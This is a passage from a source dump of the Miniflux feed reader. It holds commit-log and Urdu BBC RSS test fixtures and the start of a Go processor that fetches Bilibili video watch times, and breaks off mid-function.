href=\"https://github.com/miniflux/v2/commit/382885f14403526adfa6c303927889c76fd5a1eb\"/>\n    <title>\n        Update changeLog\n    </title>\n    <updated>2024-03-10T17:50:47Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/323546?s=30&amp;v=4\"/>\n    <author>\n      <name>fguillot</name>\n      <uri>https://github.com/fguillot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Update changeLog&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/0f7b047b0a81253b6d146e05d561545303016b74</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/0f7b047b0a81253b6d146e05d561545303016b74\"/>\n    <title>\n        Bump github.com/go-jose/go-jose/v3 from 3.0.1 to 3.0.3\n    </title>\n    <updated>2024-03-08T04:59:42Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/in/29110?s=30&amp;v=4\"/>\n    <author>\n      <name>dependabot</name>\n      <uri>https://github.com/dependabot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Bump github.com/go-jose/go-jose/v3 from 3.0.1 to 3.0.3\n\nBumps [github.com/go-jose/go-jose/v3](https://github.com/go-jose/go-jose) from 3.0.1 to 3.0.3.\n- [Release notes](https://github.com/go-jose/go-jose/releases)\n- [Changelog](https://github.com/go-jose/go-jose/blob/v3.0.3/CHANGELOG.md)\n- [Commits](https://github.com/go-jose/go-jose/compare/v3.0.1...v3.0.3)\n\n---\nupdated-dependencies:\n- dependency-name: github.com/go-jose/go-jose/v3\n  dependency-type: indirect\n...\n\nSigned-off-by: dependabot[bot] &amp;lt;support@github.com&amp;gt;&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/a074773e6c5d3b2066094cbac0502094aa364713</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/a074773e6c5d3b2066094cbac0502094aa364713\"/>\n    <title>\n        Use an io.ReadSeeker instead of an io.Reader to parse feeds\n    </title>\n    <updated>2024-03-07T04:13:39Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Use an io.ReadSeeker instead of an io.Reader to parse feeds\n\nThis will allow to make use of func (*Reader) Seek, instead of re-recreating a\nnew reader. It&amp;#39;s a large commit for a small change, but anything to simply the\nreader/buffer/ReadAll/… mess is a step in the right direction I think, and it\nshould enable more follow-up simplifications.&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/3d0126be0b8a603401b7593250f80b0a8042b995</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/3d0126be0b8a603401b7593250f80b0a8042b995\"/>\n    <title>\n        Speed the sanitizer up a bit, again\n    </title>\n    <updated>2024-03-06T03:31:50Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Speed the sanitizer up a bit, again\n\n- allow youtube urls to start with `www`\n- use `strings.Builder` instead of a `bytes.Buffer`\n- use a `strings.NewReader` instead of a `bytes.NewBufferString`\n- sprinkles a couple of `continue` to make the code-flow more obvious\n- inline calls to `inList`, and put their parameters in the right order\n- simplify isPixelTracker\n- simplify `isValidIframeSource`, by extracting the hostname and comparing it\n  directly, instead of using the full url and checking if it starts with\n  multiple variations of the same one (`//`, `http:`, `https://` multiplied by\n  ``/`www.`)\n- add a benchmark&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/eda2e2f3f5c278e44e2def72caedc33667a0fb6c</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/eda2e2f3f5c278e44e2def72caedc33667a0fb6c\"/>\n    <title>\n        Bump golang.org/x/oauth2 from 0.17.0 to 0.18.0\n    </title>\n    <updated>2024-03-05T23:39:07Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/in/29110?s=30&amp;v=4\"/>\n    <author>\n      <name>dependabot</name>\n      <uri>https://github.com/dependabot</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Bump golang.org/x/oauth2 from 0.17.0 to 0.18.0\n\nBumps [golang.org/x/oauth2](https://github.com/golang/oauth2) from 0.17.0 to 0.18.0.\n- [Commits](https://github.com/golang/oauth2/compare/v0.17.0...v0.18.0)\n\n---\nupdated-dependencies:\n- dependency-name: golang.org/x/oauth2\n  dependency-type: direct:production\n  update-type: version-update:semver-minor\n...\n\nSigned-off-by: dependabot[bot] &amp;lt;support@github.com&amp;gt;&lt;/pre&gt;\n    </content>\n  </entry>\n  <entry>\n    <id>tag:github.com,2008:Grit::Commit/111e3f2106646cd29f7f74c0102f2a570c598e2e</id>\n    <link type=\"text/html\" rel=\"alternate\" href=\"https://github.com/miniflux/v2/commit/111e3f2106646cd29f7f74c0102f2a570c598e2e\"/>\n    <title>\n        Reuse a Reader instead of copying to a buffer when parsing an atom feed\n    </title>\n    <updated>2024-03-05T01:36:10Z</updated>\n    <media:thumbnail height=\"30\" width=\"30\" url=\"https://avatars.githubusercontent.com/u/325724?s=30&amp;v=4\"/>\n    <author>\n      <name>jvoisin</name>\n      <uri>https://github.com/jvoisin</uri>\n    </author>\n    <content type=\"html\">\n      &lt;pre style=&#39;white-space:pre-wrap;width:81ex&#39;&gt;Reuse a Reader instead of copying to a buffer when parsing an atom feed&lt;/pre&gt;\n    </content>\n  </entry>\n</feed>\n"
  },
  {
    "path": "internal/reader/parser/testdata/urdu_UTF8.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\" xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n    <channel>\n        <title><![CDATA[BBC News  اردو - پاکستان کے لیے امریکی امداد کی بہار و خزاں]]></title>\n        <description><![CDATA[BBC News  اردو - پاکستان کے لیے امریکی امداد کی بہار و خزاں]]></description>\n        <link>http://www.bbcurdu.com</link>\n        <image>\n            <url>http://www.bbc.co.uk/urdu/images/gel/rss_logo.gif</url>\n            <title>BBC News  اردو - پاکستان کے لیے امریکی امداد کی بہار و خزاں</title>\n            <link>http://www.bbcurdu.com</link>\n        </image>\n        <generator>RSS for Node</generator>\n        <lastBuildDate>Wed, 24 Oct 2018 07:25:10 GMT</lastBuildDate>\n        <copyright><![CDATA[کاپی رائٹ بی بی سی ]]></copyright>\n        <language><![CDATA[ur]]></language>\n        <managingEditor><![CDATA[urdu@bbc.co.uk]]></managingEditor>\n        <ttl>15</ttl>\n        <item>\n            <title><![CDATA[امریکی عسکری امداد کی بندش کی وجوہات: انڈیا سے جنگ، جوہری پروگرام اور اب دہشت گردوں کی پشت پناہی]]></title>\n            <description><![CDATA[امریکہ اور پاکستان کے 70 سالہ تعلقات میں جب بھی زیادہ کشیدگی آتی ہے تو اس میں پہلی تلوار پاکستان کو ملنے والی عسکری امداد پر چلتی ہے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42575603</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42575603</guid>\n            <pubDate>Fri, 05 Jan 2018 16:51:00 GMT</pubDate>\n            <media:thumbnail width=\"1024\" height=\"576\" url=\"http://c.files.bbci.co.uk/A787/production/_99478824_gettyimages-856735580.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ کے ساتھ خفیہ معلومات کا تبادلہ اور فوجی تعاون معطل کر دیا: وزیر دفاع]]></title>\n            <description><![CDATA[پاکستان کے وزیر دفاع خرم دستگیر نے کہا ہے کہ امریکہ کی جانب سے عسکری امداد کی معطلی کے بعد پاکستان نے امریکہ سے خفیہ معلومات کا تبادلہ اور فوجی تعاون بند کر دیا ہے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42645212</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42645212</guid>\n            <pubDate>Thu, 11 Jan 2018 13:20:55 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/13C09/production/_99550908_3f6467e7-5086-43e5-9c31-918be66a17ad.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان ان دہشت گرد گروہوں کے خلاف کارروائی کرے جن کے خلاف ہم چاہتے ہیں: امریکہ]]></title>\n            <description><![CDATA[امریکی محکمۂ دفاع کا کہنا ہے کہ امریکہ چاہتا ہے کہ پاکستان دہشت گردوں کے خلاف فیصلہ کن کارروائی کرے اور یہ کہ امریکہ کو بعض معاملات پر شدید اختلافات ہیں اور ان پر کام کیا جا رہا ہے۔]]></description>\n            <link>http://www.bbc.com/urdu/world-42615276</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/world-42615276</guid>\n            <pubDate>Tue, 09 Jan 2018 02:59:43 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/5B55/production/_99518332_mediaitem99518331.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستانی وزیر دفاع کہتے ہیں کہ امریکہ کو ایک کامیابی ملی ہے، وہ بھی پاکستان کی مرہون منت]]></title>\n            <description><![CDATA[پاکستان کے وزیر دفاع خرم دستگیر نے کہا ہے کہ افغانستان کی صورتحال کی تمام ذمہ داری پاکستان پر نہیں ڈالی جا سکتی۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42554318</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42554318</guid>\n            <pubDate>Wed, 03 Jan 2018 15:50:55 GMT</pubDate>\n            <media:thumbnail width=\"1024\" height=\"576\" url=\"http://c.files.bbci.co.uk/16765/production/_99450029_p05snlw4.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[صدر ٹرمپ کے ٹویٹ کو سنجیدگی سے لیتے ہیں: وزیر دفاع]]></title>\n            <description><![CDATA[پاکستان کے وزیر دفاع خرم دستگیر نے کہا کہ پاکستان امریکی صدر ٹرمپ کے پاکستان کے بارے میں ٹویٹ کو سنجیدگی سے لیتے ہیں اور تہذیب کے دائرے میں رہتے ہوئے امریکہ سے بے لاگ بات ہو گی۔]]></description>\n            <link>http://www.bbc.com/urdu/42547605</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/42547605</guid>\n            <pubDate>Tue, 02 Jan 2018 17:27:36 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/5AA4/production/_99440232_p05sk783.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکی وزیرِ خارجہ کی پاکستان آمد]]></title>\n            <description><![CDATA[امریکی وزیرِ خارجہ ریکس ٹلرسن نے پاکستان آمد کے بعد وزیراعظم ہاؤس میں پاکستان کی اعلیٰ سول اور فوجی قیادت سے ملاقات کی۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41739055</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41739055</guid>\n            <pubDate>Tue, 24 Oct 2017 13:08:06 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/10293/production/_98459166_p05ktkrj.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ اور پاکستان ایک دوسرے کا کیا بگاڑ سکتے ہیں؟]]></title>\n            <description><![CDATA[تجزیہ کار کہتے ہیں کہ حقیقتاً افغانستان میں پاکستان اور امریکہ دونوں ہی ناکام ہوئے ہیں اور دونوں یہ سمجھتے ہیں کہ دوسرے کو شکست دے کر وہ پورے افغانستان پر اثر و رسوخ قائم کر سکیں گے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42542988</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42542988</guid>\n            <pubDate>Tue, 02 Jan 2018 16:28:18 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/1AED/production/_99439860_gettyimages-839854052.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ اور پاکستان کے کشیدہ تعلقات میں اربوں ڈالر کی امداد پر بھی تنازع]]></title>\n            <description><![CDATA[پاکستان اور امریکہ کے کشیدہ تعلقات میں اربوں ڈالر کی امداد پر بھی تنازع ہے جس میں دونوں ممالک الگ الگ اعداد و شمار بتاتے ہیں۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42532582</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42532582</guid>\n            <pubDate>Tue, 02 Jan 2018 10:28:02 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/9281/production/_99050573__98456547_d3ee46a1-51a1-48b1-a24f-9a41cf21361e.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[’امریکہ انسداد دہشتگردی سیکھنے کے بجائے دشنام طرازی کر رہا ہے‘]]></title>\n            <description><![CDATA[پاکستان کے وزیر دفاع خرم دستگیر خان نے کہا ہے کہ پاکستان میں دہشت گردوں کی خفیہ پناہ گاہیں نہیں ہیں اور اگر باقیات ہیں تو انہیں رد الفساد کے تحت ختم کیا جا رہا ہے تاکہ پاکستان کا مستقبل محفوظ ہو سکے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42548010</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42548010</guid>\n            <pubDate>Wed, 03 Jan 2018 05:04:13 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/9B36/production/_99443793_image1.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان بھی ’مذہبی آزادیوں کی خلاف ورزیاں‘ کرنے والے ممالک میں شامل]]></title>\n            <description><![CDATA[امریکہ کی وزارتِ خارجہ نے پاکستان کا نام ان ملکوں کی فہرست میں شامل کر دیا ہے جہاں مبینہ طور پر مذہبی آزادیوں کی یا تو سنگین خلاف ورزیوں کا ارتکاب کیا جاتا ہے یا مذہبی آزادیوں پر پابندیاں عائد ہیں۔]]></description>\n            <link>http://www.bbc.com/urdu/world-42571559</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/world-42571559</guid>\n            <pubDate>Thu, 04 Jan 2018 17:12:58 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/184A8/production/_99469499_gettyimages-894786806.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان کی سکیورٹی امداد معطل: ’دہشت گردی کے خلاف عزم پر اثرانداز نہیں ہو سکتی‘]]></title>\n            <description><![CDATA[امریکہ کی طرف سے پاکستان کی فوجی امداد کے بند کیے جانے پر پاکستان کے دفتر خارجہ نے کہا ہے کہ یک طرفہ بیانات، مرضی سے دی گئی ڈیڈ لائنز اور اہداف کی مستقل تبدیلی مشترکہ مفادات کے حصول میں سودمند ثابت نہیں ہو سکتی۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42577314</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42577314</guid>\n            <pubDate>Fri, 05 Jan 2018 12:32:27 GMT</pubDate>\n            <media:thumbnail width=\"640\" height=\"360\" url=\"http://c.files.bbci.co.uk/0935/production/_99475320_556f3020-6286-47a8-a4b1-3026ff6dc95f.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[ڈونلڈ ٹرمپ: پاکستان نے ہمیں جھوٹ اور دھوکے کے سوا کچھ نہیں دیا]]></title>\n            <description><![CDATA[امریکی صدر ڈونلڈ ٹرمپ کا کہنا ہے کہ گذشتہ15 برس میں 33 ارب ڈالر کی امداد لینے کے باوجود پاکستان نے امریکہ کو سوائے جھوٹ اور دھوکے کے کچھ نہیں دیا۔]]></description>\n            <link>http://www.bbc.com/urdu/world-42534486</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/world-42534486</guid>\n            <pubDate>Mon, 01 Jan 2018 17:59:24 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/A5CE/production/_99264424_gettyimages-894923566.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان: اتحادی ایک دوسرے کو تنبیہ جاری نہیں کیا کرتے]]></title>\n            <description><![CDATA[امریکی نائب صدر مائیک پینس کے پاکستان کے بارے میں بگرام کے ہوائی اڈے پر دیے جانے والے بیان پر تبصرہ کرتے ہوئے پاکستان کی وزارتِ خارجہ کے ترجمان نے کہا کہ یہ بیان امریکی انتظامیہ کے ساتھ ہونے والے تفصیلی مذاکرات کے منافی ہے۔]]></description>\n            <link>http://www.bbc.com/urdu/world-42451883</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/world-42451883</guid>\n            <pubDate>Fri, 22 Dec 2017 08:50:54 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/12825/production/_99331857_gettyimages-896767012.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ: کون سے ممالک ہیں جن پر امداد بند کر دینے کی دھمکی کارگر ثابت نہیں ہوئی]]></title>\n            <description><![CDATA[سب سے زیادہ امریکی امداد وصول کرنے والے 12 ملکوں کی فہرست میں اسرائیل کے علاوہ ایک بھی ملک ایسا نہیں جس نے جنرل اسمبلی میں یروشلم کے بارے میں امریکی صدر کے فیصلے کے خلاف قرارداد کی مخالفت میں ووٹ دیا ہو۔]]></description>\n            <link>http://www.bbc.com/urdu/world-42457273</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/world-42457273</guid>\n            <pubDate>Fri, 22 Dec 2017 15:29:44 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/1331F/production/_99332687_gettyimages-882119996.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان امریکہ تعلقات، بیان بدلتے ہیں لیکن عینک نہیں]]></title>\n            <description><![CDATA[پاکستان اور امریکہ کے نرم گرم تعلقات کی تاریخ صرف افغانستان تک محدود نہیں، لیکن حالیہ برسوں میں دونوں اکثر ایک دوسرے کو ایک ہی عینک سے دیکھنے کی کوشش کرتے ہیں۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42225606</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42225606</guid>\n            <pubDate>Mon, 04 Dec 2017 13:36:14 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/9281/production/_99050573__98456547_d3ee46a1-51a1-48b1-a24f-9a41cf21361e.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان امریکہ تعلقات: ’باتیں دھمکی کی زبان سے نہیں صلح کی زبان سے طے ہوں گی‘]]></title>\n            <description><![CDATA[پاکستان کے وزیر خارجہ خواجہ آصف نے کہا ہے کہ امریکہ اور پاکستان کے درمیان اعتماد کا فقدان راتوں رات ختم نہیں ہو گا کیونکہ دونوں ممالک کے تعلقات پر جمی برف پگھلنے میں وقت لگے گا۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41742387</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41742387</guid>\n            <pubDate>Wed, 25 Oct 2017 01:19:34 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/15BE/production/_98466550_844059008.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ کے ساتھ تعاون ختم کرنے پر غور کیا جائے: قرارداد]]></title>\n            <description><![CDATA[پاکستان کی پارلیمان نے ایک متفقہ قرارداد میں امریکی صدر کی حالیہ تقریراور افغانستان میں امریکی کمانڈر جنرل جان نکلسن کے بیان کو مسترد کر دیا ہے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41097529</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41097529</guid>\n            <pubDate>Wed, 30 Aug 2017 16:19:55 GMT</pubDate>\n            <media:thumbnail width=\"640\" height=\"360\" url=\"http://c.files.bbci.co.uk/8C50/production/_97602953_3ad0abf1-2480-41b0-bc0a-9d89393c71e4.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[’پاکستان کو قربانی کا بکرا بناکر افغانستان میں امن نہیں لایا جاسکتا‘]]></title>\n            <description><![CDATA[پاکستان کی اعلیٰ سیاسی اور عسکری قیادت نے امریکی صدر ڈونلڈ ٹرمپ کی جانب سے اپنے حالیہ خطاب میں پاکستان پر لگائے گئے الزامات کو مسترد کرتے ہوئے کہا ہے کہ پاکستان پر الزام تراشیوں سے افغانستان کو مستحکم نہیں کیا جا سکتا۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41038882</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41038882</guid>\n            <pubDate>Thu, 24 Aug 2017 14:35:50 GMT</pubDate>\n            <media:thumbnail width=\"640\" height=\"360\" url=\"http://c.files.bbci.co.uk/38EA/production/_97507541_gettyimages-831217164.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ سے امداد کے نہیں اعتماد کے خواہاں ہیں: جنرل باجوہ]]></title>\n            <description><![CDATA[پاکستان کے آرمی چیف قمر جاوید باجوہ نے کہا ہے کہ پاکستان امریکہ سے کسی مادی یا مالی امداد کا خواہاں نہیں بلکہ چاہتا ہے کہ اس پر اعتماد کرتے ہوئے اس کی کارکردگی کا اعتراف کیا جائے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41024731</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41024731</guid>\n            <pubDate>Wed, 23 Aug 2017 13:11:20 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/E6B3/production/_97495095_dh6cwc3xuaawzfm.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[’پاکستان نے اپنے رویے کو تبدیل نہ کیا تو امریکی مراعات کھو سکتا ہے‘]]></title>\n            <description><![CDATA[امریکی وزیر خارجہ ریکس ٹیلرسن نے افغان طالبان کی مبینہ حمایت پر کہا ہے کہ اگر پاکستان اپنے رویے میں تبدیلی لانے میں ناکام رہتا ہے تو امریکی مراعات کھو سکتا ہے جبکہ پاکستان نے کہا ہے کہ امریکہ محفوظ پناہ گاہوں کے جھوٹے بیانیے کے بجائے دہشت گردی کے خلاف مل کر کام کرے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41019799</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41019799</guid>\n            <pubDate>Tue, 22 Aug 2017 23:06:07 GMT</pubDate>\n            <media:thumbnail width=\"640\" height=\"360\" url=\"http://c.files.bbci.co.uk/1710E/production/_97487449_gettyimages-825293218.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ کا پاکستان کو ’نوٹس‘ کیا اور کتنا سنگین ہے؟]]></title>\n            <description><![CDATA[امریکی صدر ڈونلڈ ٹرمپ نے ٹویٹ کے ذریعے اپنے ارادے تو ظاہر کر دیے ہیں لیکن دیکھنا یہ ہے کیا امریکہ کی دھمکی محض افغان طالبان تک محدود ہے یا پھر انڈیا مخالف گروپس بھی اس میں شامل ہوں گے۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42550677</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42550677</guid>\n            <pubDate>Wed, 03 Jan 2018 07:47:12 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/14B12/production/_99445748_18215753-eb0c-4c5d-b4b7-06aa87bfcd39.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[کمال ہے، اتنی دہشت؟]]></title>\n            <description><![CDATA[مجھے تو تینتیس ارب ڈالر کے پاکستانی روپے ہی بنانے نہیں آ ت ، بھیا ٹرمپ! ہم سے حساب کیا مانگتے ہو؟ جن کو دیا تھا صاف صاف ان کا نام لو یا تم بھی غائب ہونے سے ڈرتے ہو؟]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42594820</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42594820</guid>\n            <pubDate>Sun, 07 Jan 2018 03:49:01 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/5F27/production/_99495342_cf7d6805-64db-4438-8fe7-85fd61e470cf.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[کیا امداد بند کرنے سے امریکہ کا مقصد پورا ہو گا؟]]></title>\n            <description><![CDATA[امریکہ کی جانب سے پاکستان کی عسکری امداد بند کیے جانے پر ماہرین کا کہنا ہے کہ اس اقدام سے کمزور اقتصادی صورتحال میں پاکستان پر دباؤ پڑے گا اور دہشت گردی کے خلاف جنگ بھی متاثر ہو گئی۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42575493</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42575493</guid>\n            <pubDate>Fri, 05 Jan 2018 08:27:04 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/D4AF/production/_99474445_gettyimages-482348300.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[وہ تازیانے لگے ہوش سب ٹھکانے لگے]]></title>\n            <description><![CDATA[وہ قوم جو 30 برس پہلے تک ناک پے مکھی نہیں بیٹھنے دیتی تھی اس کا یہ حال ہوگیا کہ چابک چھوڑ چابک کے سائے سے بھی ڈر جاتی ہے۔]]></description>\n            <link>http://www.bbc.com/urdu/42596931</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/42596931</guid>\n            <pubDate>Sun, 07 Jan 2018 12:37:26 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/863B/production/_99036343_batsebat.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[امریکہ پاکستان سے چاہتا کیا ہے؟]]></title>\n            <description><![CDATA[امریکی وزیر خارجہ ریکس ٹلرسن پاکستان کے مختصر دورے پر اسلام آباد پہنچ گئے جہاں وہ چند ’مخصوص‘ مطالبات بھی پیش کریں گے۔ آخر امریکہ پاکستان سے چاہتا کیا ہے اور یہ مطالبات کیا ہو سکتے ہیں؟]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-41736761</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-41736761</guid>\n            <pubDate>Tue, 24 Oct 2017 12:53:37 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/12345/production/_98456547_d3ee46a1-51a1-48b1-a24f-9a41cf21361e.jpg\"/>\n        </item>\n        <item>\n            <title><![CDATA[پاکستان امریکہ تعلقات میں ’ڈو مور‘ کا نیا ایڈیشن جو آج تک چل رہا]]></title>\n            <description><![CDATA[افغانستان میں بین الاقوامی سیاست اور ترجیحات سمجھنے کے لیے یہ جاننا ضروری ہے کہ 2001 میں امریکی آمد کے بعد سے بعض ایسی چیزیں ہیں جو تبدیل نہیں ہو رہیں۔]]></description>\n            <link>http://www.bbc.com/urdu/pakistan-42422392</link>\n            <guid isPermaLink=\"true\">http://www.bbc.com/urdu/pakistan-42422392</guid>\n            <pubDate>Wed, 20 Dec 2017 12:23:23 GMT</pubDate>\n            <media:thumbnail width=\"976\" height=\"549\" url=\"http://c.files.bbci.co.uk/7CB9/production/_99292913_gettyimages-884411870.jpg\"/>\n        </item>\n    </channel>\n</rss>"
  },
  {
    "path": "internal/reader/processor/bilibili.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage processor // import \"miniflux.app/v2/internal/reader/processor\"\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n)\n\nvar (\n\tbilibiliVideoIdRegex = regexp.MustCompile(`/video/(?:av(\\d+)|BV([a-zA-Z0-9]+))`)\n)\n\nfunc shouldFetchBilibiliWatchTime(entry *model.Entry) bool {\n\tif !config.Opts.FetchBilibiliWatchTime() {\n\t\treturn false\n\t}\n\treturn strings.Contains(entry.URL, \"bilibili.com/video/\")\n}\n\nfunc extractBilibiliVideoID(websiteURL string) (string, string, error) {\n\tmatches := bilibiliVideoIdRegex.FindStringSubmatch(websiteURL)\n\tif matches == nil {\n\t\treturn 